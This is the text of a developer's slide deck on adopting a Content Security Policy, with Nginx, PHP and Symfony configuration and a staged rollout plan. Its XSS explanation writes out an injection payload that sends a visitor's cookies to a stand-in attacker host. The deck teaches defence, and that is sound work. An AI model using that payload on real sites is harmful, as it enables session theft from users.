CSP: Can See Purpose
@nathandench
Blog: https://ndench.github.io/security/csp-can-see-purpose
@nathandench
Who am I?
- Nathan Dench
- @nathandench on Twitter
- Fullstack Web Dev
- Infrastructure/DevOps/Security
Hyra iQ
We automate high volume contract negotiation for retail and commercial landlords and their law firms
@nathandench
What is a Content Security Policy?
- HTTP header
- Whitelist sources to load assets from
- Blanket ban on XSS
@nathandench
How does XSS work?
@nathandench
How does XSS work?
<html>
...
<script>
// ...
$('#searchTerm').val('Nissan');
</script>
...
</html>
Search for:
Nissan
@nathandench
How does XSS work?
..
<script>
// ...
$('#searchTerm').val('');location.href='http://evilcyberhacker.com?cookies='+encodeURIComponent(document.cookie);//');
</script>
..
Search for:
');location.href='http://evilcyberhacker.com?cookies='%2BencodeURIComponent(document.cookie);//'
@nathandench
How does XSS work?
@nathandench
How does XSS work?
@nathandench
How does XSS work?
XSS Protection
- Sanitise input/output
- Large attack vector
- Dodgy browser extensions
- CSP - last defence
@nathandench
@nathandench
CSP Basics
Directives:
- script-src
- style-src
- img-src
- font-src
- connect-src
- default-src
- block-all-mixed-content
- upgrade-insecure-requsets
- report-uri
Values:
- 'none'
- 'self'
- domain.example.com
- *.example.com
- sha256-qznLcsR...
- nonce-2726c7f26c
@nathandench
CSP Basics
Content-Security-Policy:
default-src 'none';
script-src: 'self';
style-src: 'self' fonts.googleapis.com;
image-src: instagram.com;
report-uri: example.report-uri.com/r/d/csp/enforce
Example CSP
- JavaScript from your site
- CSS from your site and fonts.googleapis.com
- Images only from Instagram
- Everything else is blocked
- Violations reported to report-uri
@nathandench
CSP Report Only
Content-Security-Policy-Report-Only
- Shows console error
- Sends report to report-uri
- Does not enforce anything
- Implement a new CSP
- Update an old one
@nathandench
Browser Incompatibilities
X-Content-Security-Policy
@nathandench
How did I do it?
add_header Content-Security-Policy-Report-Only "default-src: 'none'; ..."
Nginx config
@nathandench
How did I do it?
<?php
// Vanilla PHP
header('Content-Security-Policy-Report-Only "default-src \'none\'; ..."');
// Symfony Response
$response->headers->set('Content-Security-Policy-Report-Only', "default-src 'none'; ...','");
Application code - manually
@nathandench
How did I do it?
---
nelmio_security:
csp:
report:
block-all-mixed-content: true
default-src: ['none']
3rd party library
- Symfony: NelmioSecurityBundle
- Express.js: Helmet
- Rails: Secure Headers - Rails
- Django: Django-CSP
- Spring Boot: @EnableWebSecurity
@nathandench
Step Once - Deny all
---
nelmio_security:
csp:
report:
block-all-mixed-content: true
default-src: ['none']
@nathandench
Step One - Deny all
@nathandench
Step Two - Allow the easy things
---
nelmio_security:
csp:
report:
block-all-mixed-content: true
default-src: ['none']
script-src:
- 'self'
...
style-src:
- 'self'
...
font-src:
- 'self'
...
img-src:
- 'self'
...
connect-src:
- 'self'
...
@nathandench
Step Three - Inline scripts
<script nonce="{{ csp_nonce('script') }}">
...
</script>
Content-Security-Policy script-src: 'nonce-67eab753ab3f0a713e02b07421dae6b7' ...
@nathandench
Step Four - Webpack and unsafe-eval
...
plugins: [
devtool: 'eval'
...
],
...
---
# Only in development
nelmio_security:
csp:
report:
script-src:
- 'unsafe-eval'
@nathandench
Step Five - report-uri & deploy
---
nelmio_security:
csp:
report:
report-uri: https://example.report-uri.com/r/d/csp/reportOnly
block-all-mixed-content: true
default-src: ['none']
script-src:
- 'self'
...
@nathandench
Step Six - Monitor
@nathandench
Step Six - Monitor
...
module.exports = (env, argv) {
let production = argv.mode === 'production'
...
return {
...
plugins: [
devtool: production ? false : 'eval'
...
],
}
}
...
@nathandench
Step Six - Monitor
<!-- Pretend to be a button with inline script -->
<a href="javascript:void(0)" class="btn btn-default">
<!-- Pretend to be a button without `href` -->
<a tabindex="0" class="btn btn-default">
@nathandench
Step Seven - Enforce
---
nelmio_security:
csp:
- report:
- report-uri: https://example.report-uri.com/r/d/csp/reportOnly
block-all-mixed-content: true
+ enforce:
+ report-uri: https://example.report-uri.com/r/d/csp/enforce
block-all-mixed-content: true
default-src: ['none']
script-src:
- 'self'
...
@nathandench
Conclusion
Content-Security-Policy
- Whitelist trusted sources
- Only load assets from trusted sources
- Blanket ban on XSS
@nathandench
Questions?
We're hiring fullstack web devs!
nathan@hyraiq.com
CSP: Can See Purpose
By Nathan Dench
CSP: Can See Purpose
- 506